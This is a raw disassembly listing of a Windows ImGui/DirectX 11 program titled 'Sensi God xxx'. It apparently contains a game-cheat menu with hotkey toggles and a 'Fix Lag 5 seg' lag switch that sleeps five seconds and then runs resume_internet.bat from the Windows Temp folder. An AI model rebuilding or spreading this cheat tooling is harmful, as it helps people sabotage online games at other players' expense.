mov r8d, reloc.WS2_32.dll_socket
lea rdx, str.Fix_Lag_5_seg_Activado_
lea rcx, [0x1401cf288]
call fcn.140037dc0
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
lea r8, str.C:WindowsTemp_resume_internet.bat
mov dword [rsp + 0x28], eax
lea rdx, str.open
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov r8d, reloc.WLDAP32.dll_Ordinal_26
lea rdx, str.Fix_Lag_5_seg_Desactivado_
lea rcx, [0x1401cf288]
call fcn.140037dc0
mov edx, reloc.WLDAP32.dll_Ordinal_200
mov ecx, 0x190
call qword [sym.imp.KERNEL32.dll_Beep]
mov edx, reloc.WLDAP32.dll_Ordinal_200
mov ecx, 0x190
call qword [sym.imp.KERNEL32.dll_Beep]
mov eax, dword [0x1401d14d8]
movzx edx, byte [0x1401d149c]
movzx r8d, byte [0x1401d1564]
movzx r9d, byte [0x1401d1504]
movzx r10d, byte [0x1401d14d7]
movzx r11d, byte [0x1401d1507]
movzx ecx, byte [0x1401d14f2]
cmp eax, 1
jne 0x140042b09
cmp byte [rsp + 0x78], 0
je 0x140042bb1
test dl, dl
jmp 0x140042ba1
cmp eax, 2
jne 0x140042b21
cmp byte [rsp + 0x7c], 0
je 0x140042bb1
test r8b, r8b
jmp 0x140042ba1
cmp eax, 3
jne 0x140042b35
cmp byte [rbp - 0x70], 0
je 0x140042bb1
test r9b, r9b
jmp 0x140042ba1
cmp eax, 4
jne 0x140042b45
cmp byte [rbp - 0x68], 0
je 0x140042bb1
test r10b, r10b
jmp 0x140042ba1
cmp eax, 5
jne 0x140042b55
cmp byte [rbp - 0x80], 0
je 0x140042bb1
test r11b, r11b
jmp 0x140042ba1
cmp eax, 6
jne 0x140042b65
cmp byte [rsp + 0x70], 0
je 0x140042bb1
test cl, cl
jmp 0x140042ba1
cmp eax, 7
jne 0x140042b79
cmp byte [rbp - 0x78], 0
je 0x140042bb1
cmp byte [0x1401d149f], 0
jmp 0x140042ba1
cmp eax, 8
jne 0x140042b8e
cmp byte [rsp + 0x64], 0
je 0x140042bb1
cmp byte [0x1401d14d6], 0
jmp 0x140042ba1
cmp eax, 9
jne 0x140042bb1
cmp byte [rsp + 0x68], 0
je 0x140042bb1
cmp byte [0x1401d1505], 0
jne 0x140042bb1
cmp byte [0x1401d151d], 0
sete byte [0x1401d151d]
mov eax, dword [0x1401d160c]
cmp eax, 1
jne 0x140042bce
cmp byte [rsp + 0x78], 0
je 0x140042c8f
test dl, dl
jmp 0x140042c7f
cmp eax, 2
jne 0x140042be6
cmp byte [rsp + 0x7c], 0
je 0x140042c8f
test r8b, r8b
jmp 0x140042c7f
cmp eax, 3
jne 0x140042bfd
cmp byte [rbp - 0x70], 0
je 0x140042c8f
test r9b, r9b
jmp 0x140042c7f
cmp eax, 4
jne 0x140042c11
cmp byte [rbp - 0x68], 0
je 0x140042c8f
test r10b, r10b
jmp 0x140042c7f
cmp eax, 5
jne 0x140042c33
cmp byte [rbp - 0x80], 0
je 0x140042c8f
test r11b, r11b
jne 0x140042c8f
cmp byte [0x1401d151c], r11b
sete al
mov byte [0x1401d151c], al
jmp 0x140042c96
cmp eax, 6
jne 0x140042c43
cmp byte [rsp + 0x70], 0
je 0x140042c8f
test cl, cl
jmp 0x140042c7f
cmp eax, 7
jne 0x140042c57
cmp byte [rbp - 0x78], 0
je 0x140042c8f
cmp byte [0x1401d149f], 0
jmp 0x140042c7f
cmp eax, 8
jne 0x140042c6c
cmp byte [rsp + 0x64], 0
je 0x140042c8f
cmp byte [0x1401d14d6], 0
jmp 0x140042c7f
cmp eax, 9
jne 0x140042c8f
cmp byte [rsp + 0x68], 0
je 0x140042c8f
cmp byte [0x1401d1505], 0
jne 0x140042c8f
cmp byte [0x1401d1561], 0
sete byte [0x1401d1561]
movzx eax, byte [0x1401d151c]
mov ecx, dword [0x1401d1604]
cmp ecx, 1
jne 0x140042cc9
cmp byte [rsp + 0x78], 0
je 0x140042e1c
movzx ecx, byte [0x1401d14f2]
test dl, dl
jne 0x140042e23
test al, al
sete byte [0x1401d151c]
jmp 0x140042e23
cmp ecx, 2
jne 0x140042cf7
cmp byte [rsp + 0x7c], 0
je 0x140042e1c
movzx ecx, byte [0x1401d14f2]
test r8b, r8b
jne 0x140042e23
test al, al
sete byte [0x1401d151c]
jmp 0x140042e23
cmp ecx, 3
jne 0x140042d24
cmp byte [rbp - 0x70], 0
je 0x140042e1c
movzx ecx, byte [0x1401d14f2]
test r9b, r9b
jne 0x140042e23
test al, al
sete byte [0x1401d151c]
jmp 0x140042e23
cmp ecx, 4
jne 0x140042d51
cmp byte [rbp - 0x68], 0
je 0x140042e1c
movzx ecx, byte [0x1401d14f2]
test r10b, r10b
jne 0x140042e23
test al, al
sete byte [0x1401d151c]
jmp 0x140042e23
cmp ecx, 5
jne 0x140042d7e
cmp byte [rbp - 0x80], 0
je 0x140042e1c
movzx ecx, byte [0x1401d14f2]
test r11b, r11b
jne 0x140042e23
test al, al
sete byte [0x1401d151c]
jmp 0x140042e23
cmp ecx, 6
jne 0x140042da8
cmp byte [rsp + 0x70], 0
movzx ecx, byte [0x1401d14f2]
je 0x140042e23
test cl, cl
jne 0x140042e23
test al, al
sete byte [0x1401d151c]
jmp 0x140042e23
cmp ecx, 7
jne 0x140042dce
cmp byte [rbp - 0x78], 0
je 0x140042e1c
cmp byte [0x1401d149f], 0
movzx ecx, byte [0x1401d14f2]
jne 0x140042e23
test al, al
sete byte [0x1401d151c]
jmp 0x140042e23
cmp ecx, 8
jne 0x140042df5
cmp byte [rsp + 0x64], 0
je 0x140042e1c
cmp byte [0x1401d14d6], 0
movzx ecx, byte [0x1401d14f2]
jne 0x140042e23
test al, al
sete byte [0x1401d151c]
jmp 0x140042e23
cmp ecx, 9
jne 0x140042e1c
cmp byte [rsp + 0x68], 0
je 0x140042e1c
cmp byte [0x1401d1505], 0
movzx ecx, byte [0x1401d14f2]
jne 0x140042e23
test al, al
sete byte [0x1401d151c]
jmp 0x140042e23
movzx ecx, byte [0x1401d14f2]
mov eax, dword [0x1401d161c]
cmp eax, 1
jne 0x140042e40
cmp byte [rsp + 0x78], 0
je 0x140042f1a
test dl, dl
jmp 0x140042f0a
cmp eax, 2
jne 0x140042e58
cmp byte [rsp + 0x7c], 0
je 0x140042f1a
test r8b, r8b
jmp 0x140042f0a
cmp eax, 3
jne 0x140042e6f
cmp byte [rbp - 0x70], 0
je 0x140042f1a
test r9b, r9b
jmp 0x140042f0a
cmp eax, 4
jne 0x140042e86
cmp byte [rbp - 0x68], 0
je 0x140042f1a
test r10b, r10b
jmp 0x140042f0a
cmp eax, 5
jne 0x140042e9a
cmp byte [rbp - 0x80], 0
je 0x140042f1a
test r11b, r11b
jmp 0x140042f0a
cmp eax, 6
jne 0x140042ebc
cmp byte [rsp + 0x70], 0
je 0x140042f1a
test cl, cl
jne 0x140042f1a
movzx eax, byte [0x1401d151b]
test al, al
sete byte [0x1401d1517]
jmp 0x140042f21
cmp eax, 7
jne 0x140042ee2
cmp byte [rbp - 0x78], 0
je 0x140042f1a
cmp byte [0x1401d149f], 0
jne 0x140042f1a
cmp byte [0x1401d1517], 0
sete al
mov byte [0x1401d151b], al
jmp 0x140042f21
cmp eax, 8
jne 0x140042ef7
cmp byte [rsp + 0x64], 0
je 0x140042f1a
cmp byte [0x1401d14d6], 0
jmp 0x140042f0a
cmp eax, 9
jne 0x140042f1a
cmp byte [rsp + 0x68], 0
je 0x140042f1a
cmp byte [0x1401d1505], 0
jne 0x140042f1a
cmp byte [0x1401d1517], 0
sete byte [0x1401d1517]
movzx eax, byte [0x1401d151b]
mov ecx, dword [0x1401d14e0]
cmp ecx, 1
jne 0x140042f54
cmp byte [rsp + 0x78], 0
je 0x1400430a7
movzx ecx, byte [0x1401d14f2]
test dl, dl
jne 0x1400430ae
test al, al
sete byte [0x1401d151b]
jmp 0x1400430ae
cmp ecx, 2
jne 0x140042f82
cmp byte [rsp + 0x7c], 0
je 0x1400430a7
movzx ecx, byte [0x1401d14f2]
test r8b, r8b
jne 0x1400430ae
test al, al
sete byte [0x1401d151b]
jmp 0x1400430ae
cmp ecx, 3
jne 0x140042faf
cmp byte [rbp - 0x70], 0
je 0x1400430a7
movzx ecx, byte [0x1401d14f2]
test r9b, r9b
jne 0x1400430ae
test al, al
sete byte [0x1401d151b]
jmp 0x1400430ae
cmp ecx, 4
jne 0x140042fdc
cmp byte [rbp - 0x68], 0
je 0x1400430a7
movzx ecx, byte [0x1401d14f2]
test r10b, r10b
jne 0x1400430ae
test al, al
sete byte [0x1401d151b]
jmp 0x1400430ae
cmp ecx, 5
jne 0x140043009
cmp byte [rbp - 0x80], 0
je 0x1400430a7
movzx ecx, byte [0x1401d14f2]
test r11b, r11b
jne 0x1400430ae
test al, al
sete byte [0x1401d151b]
jmp 0x1400430ae
cmp ecx, 6
jne 0x140043033
cmp byte [rsp + 0x70], 0
movzx ecx, byte [0x1401d14f2]
je 0x1400430ae
test cl, cl
jne 0x1400430ae
test al, al
sete byte [0x1401d151b]
jmp 0x1400430ae
cmp ecx, 7
jne 0x140043059
cmp byte [rbp - 0x78], 0
je 0x1400430a7
cmp byte [0x1401d149f], 0
movzx ecx, byte [0x1401d14f2]
jne 0x1400430ae
test al, al
sete byte [0x1401d151b]
jmp 0x1400430ae
cmp ecx, 8
jne 0x140043080
cmp byte [rsp + 0x64], 0
je 0x1400430a7
cmp byte [0x1401d14d6], 0
movzx ecx, byte [0x1401d14f2]
jne 0x1400430ae
test al, al
sete byte [0x1401d151b]
jmp 0x1400430ae
cmp ecx, 9
jne 0x1400430a7
cmp byte [rsp + 0x68], 0
je 0x1400430a7
cmp byte [0x1401d1505], 0
movzx ecx, byte [0x1401d14f2]
jne 0x1400430ae
test al, al
sete byte [0x1401d151b]
jmp 0x1400430ae
movzx ecx, byte [0x1401d14f2]
mov eax, dword [0x1401d1510]
cmp eax, 1
jne 0x1400430e2
cmp byte [rsp + 0x78], 0
je 0x140043241
mov eax, dword [rsp + 0x64]
test dl, dl
jne 0x140043245
cmp byte [0x1401d151a], dl
sete byte [0x1401d151a]
jmp 0x140043245
cmp eax, 2
jne 0x140043112
cmp byte [rsp + 0x7c], 0
je 0x140043241
mov eax, dword [rsp + 0x64]
test r8b, r8b
jne 0x140043245
cmp byte [0x1401d151a], r8b
sete byte [0x1401d151a]
jmp 0x140043245
cmp eax, 3
jne 0x140043141
cmp byte [rbp - 0x70], 0
je 0x140043241
mov eax, dword [rsp + 0x64]
test r9b, r9b
jne 0x140043245
cmp byte [0x1401d151a], r9b
sete byte [0x1401d151a]
jmp 0x140043245
cmp eax, 4
jne 0x140043170
cmp byte [rbp - 0x68], 0
je 0x140043241
mov eax, dword [rsp + 0x64]
test r10b, r10b
jne 0x140043245
cmp byte [0x1401d151a], r10b
sete byte [0x1401d151a]
jmp 0x140043245
cmp eax, 5
jne 0x14004319f
cmp byte [rbp - 0x80], 0
je 0x140043241
mov eax, dword [rsp + 0x64]
test r11b, r11b
jne 0x140043245
cmp byte [0x1401d151a], r11b
sete byte [0x1401d151a]
jmp 0x140043245
cmp eax, 6
jne 0x1400431ca
cmp byte [rsp + 0x70], 0
je 0x140043241
mov eax, dword [rsp + 0x64]
test cl, cl
jne 0x140043245
cmp byte [0x1401d151a], cl
sete byte [0x1401d151a]
jmp 0x140043245
cmp eax, 7
jne 0x1400431f2
cmp byte [rbp - 0x78], 0
je 0x140043241
cmp byte [0x1401d149f], 0
mov eax, dword [rsp + 0x64]
jne 0x140043245
cmp byte [0x1401d151a], 0
sete byte [0x1401d151a]
jmp 0x140043245
cmp eax, 8
jne 0x140043218
mov eax, dword [rsp + 0x64]
test al, al
je 0x140043245
cmp byte [0x1401d14d6], 0
jne 0x140043245
cmp byte [0x1401d151a], 0
sete byte [0x1401d151a]
jmp 0x140043245
cmp eax, 9
jne 0x140043241
cmp byte [rsp + 0x68], 0
je 0x140043241
cmp byte [0x1401d1505], 0
mov eax, dword [rsp + 0x64]
jne 0x140043245
cmp byte [0x1401d151a], 0
sete byte [0x1401d151a]
jmp 0x140043245
mov eax, dword [rsp + 0x64]
mov ecx, dword [rsp + 0x78]
mov byte [0x1401d149c], cl
mov ecx, dword [rsp + 0x7c]
mov byte [0x1401d1564], cl
mov ecx, dword [rbp - 0x70]
mov byte [0x1401d1504], cl
mov ecx, dword [rbp - 0x68]
mov byte [0x1401d14d7], cl
mov ecx, dword [rbp - 0x80]
mov byte [0x1401d14d6], al
mov eax, dword [rsp + 0x68]
mov byte [0x1401d1507], cl
mov ecx, dword [rsp + 0x70]
mov byte [0x1401d1505], al
mov rax, qword [0x1401d14a0]
mov byte [0x1401d14f2], cl
mov ecx, dword [rbp - 0x78]
mov byte [0x1401d149f], cl
test rax, rax
je 0x1400432b6
mov rax, qword [rax + 0xa0]
mov qword [rsp + 0x68], rax
test rax, rax
jne 0x1400432de
jmp 0x1400432bf
mov qword [rsp + 0x68], 0
mov r8d, 0x250
lea rdx, str.E:NUEVO_CLIENTEDEVELOPER_POR_RAFASensi_God_xxxSensi_God_xxx_backendsimgui_impl_dx11.cpp
lea rcx, str.bd___nullptr___Did_you_call_ImGui_ImplDX11_Init____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [rsp + 0x68]
cmp qword [rax + 0x48], 0
jne 0x1400432ea
call fcn.140039830
call fcn.14003af20
call fcn.140008b40
mov rax, qword [0x1401d14a0]
mov qword [rbp - 0x68], rax
test rax, rax
jne 0x140043329
mov r8d, 0xb67
lea rdx, str.E:NUEVO_CLIENTEDEVELOPER_POR_RAFASensi_God_xxxSensi_God_xxximgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x1401d14a0]
mov qword [rbp - 0x68], rax
movaps xmm0, xmmword [0x1401af560]
xor ecx, ecx
movaps xmm1, xmmword [0x1401af520]
xor edx, edx
mov dword [rax + 0x37e8], ecx
mov r8d, 0x20bb
mov dword [rax + 0x37f4], ecx
mov qword [rax + 0x382c], rcx
lea rcx, str.ImGui_Menu_
mov dword [rax + 0x37f0], 0x41200000
mov dword [rax + 0x380c], 0x41200000
mov dword [rax + 0x37ec], 0x41f00000
mov dword [rax + 0x3824], 0x40800000
mov dword [rax + 0x3854], 0x40c00000
mov qword [rax + 0x3814], 0x41000000
movups xmmword [0x140207688], xmm0
movups xmmword [0x140207798], xmm1
or dword [rax + 0x4778], 2
mov dword [rax + 0x4798], 0x443e0000
mov dword [rax + 0x479c], 0x44020000
mov dword [rax + 0x4780], 1
call fcn.14000ebe0
mov rcx, qword [rbp - 0x10]
lea rdx, [rbp + 0x268]
call qword [sym.imp.USER32.dll_GetWindowRect]
call fcn.14003f900
mov rcx, qword [0x1401d14a0]
mov rax, qword [rcx + 0x3ea0]
movss xmm2, dword [rax + 0x18]
ucomiss xmm2, xmm9
jp 0x14004340e
jne 0x14004340e
movss xmm0, dword [rax + 0x1c]
ucomiss xmm0, xmm9
jp 0x14004340e
je 0x140043485
movd xmm0, dword [rbp + 0x26c]
mov r9d, 0x2f8
movd xmm1, dword [rbp + 0x268]
mov rcx, qword [rbp - 0x10]
cvtdq2ps xmm0, xmm0
mov dword [rsp + 0x28], 1
mov dword [rsp + 0x20], 0x208
cvtdq2ps xmm1, xmm1
addss xmm0, dword [rax + 0x1c]
addss xmm1, xmm2
cvttss2si r8d, xmm0
cvttss2si edx, xmm1
call qword [sym.imp.USER32.dll_MoveWindow]
mov rcx, qword [0x1401d14a0]
lea rdx, [rbp + 0x1f8]
xor r8d, r8d
mov qword [rbp + 0x1f8], 0
mov rcx, qword [rcx + 0x3ea0]
call fcn.140012550
mov rcx, qword [0x1401d14a0]
test rcx, rcx
jne 0x1400434ab
mov r8d, 0xfd8
lea rdx, str.E:NUEVO_CLIENTEDEVELOPER_POR_RAFASensi_God_xxxSensi_God_xxximgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rcx, qword [0x1401d14a0]
movss xmm0, dword [0x1401d2a9c]
addss xmm0, dword [rcx + 0x18]
movss dword [0x1401d2a9c], xmm0
mulss xmm0, dword [0x1401af248]
call sub.api_ms_win_crt_math_l1_1_0.dll_sinf
movaps xmm6, xmm0
andps xmm6, xmm13
call fcn.14003f900
mov rcx, qword [0x1401d1610]
mov rax, qword [0x1401d14a0]
mov qword [rbp - 0x78], rcx
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x68], rcx
test rcx, rcx
jne 0x140043543
mov rcx, qword [rax + 0x68]
test rcx, rcx
jne 0x14004353a
mov rax, qword [rax + 0x58]
add rax, 0x58
mov qword [rsp + 0x68], rax
cmp dword [rax], ecx
jg 0x140043533
mov r8d, 0x6ff
lea rdx, str.E:NUEVO_CLIENTEDEVELOPER_POR_RAFASensi_God_xxxSensi_God_xxximgui.h
lea rcx, str.i___0__i___Size
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [rsp + 0x68]
mov rax, qword [rax + 8]
mov rcx, qword [rax]
mov qword [rsp + 0x68], rcx
mov qword [rbp - 0x78], rcx
call fcn.140012100
mov rcx, qword [rsp + 0x70]
lea rdx, [rbp - 0x78]
add rcx, 0x4808
call fcn.14001e9f0
mov rax, qword [rsp + 0x68]
mov rdx, qword [rax + 0x40]
mov rax, qword [rsp + 0x70]
mov rdx, qword [rdx + 8]
mov rcx, qword [rax + 0x3ea0]
mov rcx, qword [rcx + 0x290]
call fcn.1400213d0
mov rax, qword [0x1401d14a0]
lea rdx, [rbp + 0x364]
mov qword [rsp + 0x68], rax
mov dword [rbp + 0x364], 0
movss xmm0, dword [rax + 0x37e0]
lea rcx, [rax + 0x47f8]
movss dword [rbp + 0x368], xmm0
call fcn.14001e690
mov r8, qword [0x1401d14a0]
mov rax, qword [rsp + 0x68]
movss dword [rax + 0x37e0], xmm6
mov rax, qword [r8 + 0x3ea0]
mov byte [rax + 0xb0], 1
movss xmm1, dword [0x14020743c]
movss xmm0, dword [0x140207438]
mov rax, qword [r8 + 0x3ea0]
movss dword [rbp + 0x27c], xmm1
movss xmm1, dword [0x140207444]
mulss xmm1, dword [r8 + 0x37e0]
mov rcx, qword [rax + 0x290]
movss dword [rbp + 0x278], xmm0
movss xmm0, dword [0x140207440]
mov qword [rsp + 0x70], rcx
lea rcx, [rbp + 0x278]
movss dword [rbp + 0x284], xmm1
movss dword [rbp + 0x280], xmm0
call fcn.1400041b0
mov rdx, qword [r8 + 0x3ea0]
movss xmm3, dword [0x1401af334]
movss xmm2, dword [r8 + 0x3c00]
mov rcx, qword [r8 + 0x3bf8]
movss xmm6, dword [rdx + 0x20]
lea rdx, [rbp + 0x200]
mov dword [rsp + 0x68], eax
lea rax, str.Sensi_God_xxx
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], rax
movss dword [rsp + 0x20], xmm11
call fcn.140027b60
test dword [rsp + 0x68], 0xff000000
movss xmm0, dword [rbp + 0x200]
addss xmm0, dword [0x1401af200]
mov dword [rbp + 0x214], 0x41400000
cvttss2si eax, xmm0
movd xmm1, eax
cvtdq2ps xmm1, xmm1
subss xmm6, xmm1
movss dword [rbp + 0x200], xmm1
mulss xmm6, dword [0x1401af1d0]
addss xmm6, xmm9
movss dword [rbp + 0x210], xmm6
je 0x140043788
mov rdx, qword [rsp + 0x70]
mov rax, qword [rdx + 0x38]
mov rcx, qword [rax + 8]
movss xmm6, dword [rax + 0x10]
mov rax, qword [rdx + 0x98]
mov qword [rbp - 0x80], rcx
mov rcx, qword [rcx + 0x40]
cmp qword [rcx + 8], rax
je 0x14004372f
mov r8d, 0x65b
lea rdx, str.E:NUEVO_CLIENTEDEVELOPER_POR_RAFASensi_God_xxxSensi_God_xxximgui_draw.cpp
lea rcx, str.font__ContainerAtlas__TexID___CmdHeader.TextureId
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rdx, qword [rsp + 0x70]
movups xmm0, xmmword [rdx + 0x88]
mov rcx, qword [rbp - 0x80]
lea rax, [0x1401ab82d]
mov byte [rsp + 0x48], 0
lea r9, [rbp + 0x210]
movss dword [rsp + 0x40], xmm9
movaps xmm2, xmm6
mov qword [rsp + 0x38], rax
lea rax, str.Sensi_God_xxx
mov qword [rsp + 0x30], rax
lea rax, [rbp + 0x6b8]
mov qword [rsp + 0x28], rax
mov eax, dword [rsp + 0x68]
mov dword [rsp + 0x20], eax
movups xmmword [rbp + 0x6b8], xmm0
call fcn.140027d80
mov ecx, 1
call fcn.1400047d0
call fcn.140012220
call fcn.14003f900
mov rax, qword [0x1401d14a0]
mov qword [rsp + 0x68], rax
cmp dword [rax + 0x4870], 0
jg 0x1400437d0
mov r8d, 0x6ff
lea rdx, str.E:NUEVO_CLIENTEDEVELOPER_POR_RAFASensi_God_xxxSensi_God_xxximgui.h
lea rcx, str.i___0__i___Size
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [rsp + 0x68]
mov rax, qword [rax + 0x4878]
lea r8, str.Background
xor edx, edx
mov rcx, qword [rax]
call fcn.1400081b0
movss xmm1, dword [0x14020744c]
mov r10, rax
movss xmm0, dword [0x140207448]
mov rcx, qword [0x1401d14a0]
movss dword [rbp + 0x28c], xmm1
movss xmm1, dword [0x140207454]
movss dword [rbp + 0x288], xmm0
mulss xmm1, dword [rcx + 0x37e0]
lea rcx, [rbp + 0x288]
mov dword [rbp + 0x78], 0x443e0000
movss xmm0, dword [0x140207450]
movss dword [rbp + 0x290], xmm0
movss dword [rbp + 0x294], xmm1
mov dword [rbp + 0x7c], 0x42340000
mov qword [rbp + 0x80], 0
call fcn.1400041b0
mov r9d, eax
mov dword [rsp + 0x28], Ordinal_50
lea rdx, [rbp + 0x80]
movss dword [rsp + 0x20], xmm14
lea r8, [rbp + 0x78]
mov rcx, r10
call fcn.140023d40
mov rax, qword [0x1401d14a0]
mov qword [rsp + 0x68], rax
cmp dword [rax + 0x4870], 0
jg 0x1400438b8
mov r8d, 0x6ff
lea rdx, str.E:NUEVO_CLIENTEDEVELOPER_POR_RAFASensi_God_xxxSensi_God_xxximgui.h
lea rcx, str.i___0__i___Size
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [rsp + 0x68]
mov rax, qword [rax + 0x4878]
lea r8, str.Background
xor edx, edx
mov rcx, qword [rax]
call fcn.1400081b0
movss xmm1, dword [0x1402076ac]
mov r10, rax
movss xmm0, dword [0x1402076a8]
mov rcx, qword [0x1401d14a0]
movss dword [rbp + 0x29c], xmm1
movss xmm1, dword [0x1402076b4]
movss dword [rbp + 0x298], xmm0
mulss xmm1, dword [rcx + 0x37e0]
lea rcx, [rbp + 0x298]
mov dword [rbp + 0x88], 0x443e0000
movss xmm0, dword [0x1402076b0]
movss dword [rbp + 0x2a0], xmm0
movss dword [rbp + 0x2a4], xmm1
mov dword [rbp + 0x8c], 0x44020000
mov dword [rbp + 0x90], 0
mov dword [rbp + 0x94], 0x42340000
call fcn.1400041b0
mov r9d, eax
mov dword [rsp + 0x28], 0xc0
lea rdx, [rbp + 0x90]
movss dword [rsp + 0x20], xmm14
lea r8, [rbp + 0x88]
mov rcx, r10
call fcn.140023d40
call fcn.14003f900
mov rcx, qword [0x1401d14a0]
mov dword [rbp + 0x98], 0x44340000
mov dword [rbp + 0x9c], 0x41200000
mov rax, qword [rcx + 0x3ea0]
mov byte [rax + 0xb0], 1
mov rcx, qword [rcx + 0x3ea0]
mov qword [rsp + 0x70], rcx
cmp dword [rcx + 0xe8], 0
jg 0x1400439e0
mov r8d, 0x708
lea rdx, str.E:NUEVO_CLIENTEDEVELOPER_POR_RAFASensi_God_xxxSensi_God_xxximgui.h
lea rcx, str.Size___0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rcx, qword [rsp + 0x70]
movsxd rax, dword [rcx + 0xe8]
xor edx, edx
mov r8, qword [rcx + 0xf0]
lea rcx, str.CLOSE
mov r8d, dword [r8 + rax*4 - 4]
call fcn.140003b80
mov rcx, qword [0x1401d14a0]
mov dword [rsp + 0x68], eax
cmp dword [rcx + 0x3ee8], eax
jne 0x140043a2b
call fcn.14003a030
call fcn.14003a320
call fcn.140006240
call fcn.140046950
mov rcx, qword [rbp - 0x10]
call qword [sym.imp.USER32.dll_DestroyWindow]
mov rdx, qword [rbp + 0x448]
mov rcx, qword [rbp + 0x470]
call qword [sym.imp.USER32.dll_UnregisterClassW]
movaps xmm8, xmmword [rsp + 0x23d0]
xor eax, eax
movaps xmm7, xmmword [rsp + 0x23e0]
movaps xmm12, xmmword [rsp + 0x2390]
movaps xmm11, xmmword [rsp + 0x23a0]
movaps xmm10, xmmword [rsp + 0x23b0]
movaps xmm9, xmmword [rsp + 0x23c0]
movaps xmm13, xmmword [rsp + 0x2380]
movaps xmm14, xmmword [rsp + 0x2370]
movaps xmm6, xmmword [rsp + 0x23f0]
mov r15, qword [rsp + 0x2400]
mov r13, qword [rsp + 0x2408]
mov r12, qword [rsp + 0x2440]
movaps xmm15, xmmword [rsp + 0x2360]
mov rsi, qword [rsp + 0x2430]
mov rdi, qword [rsp + 0x2438]
add rsp, 0x2410
pop r14
pop rbx
pop rbp
ret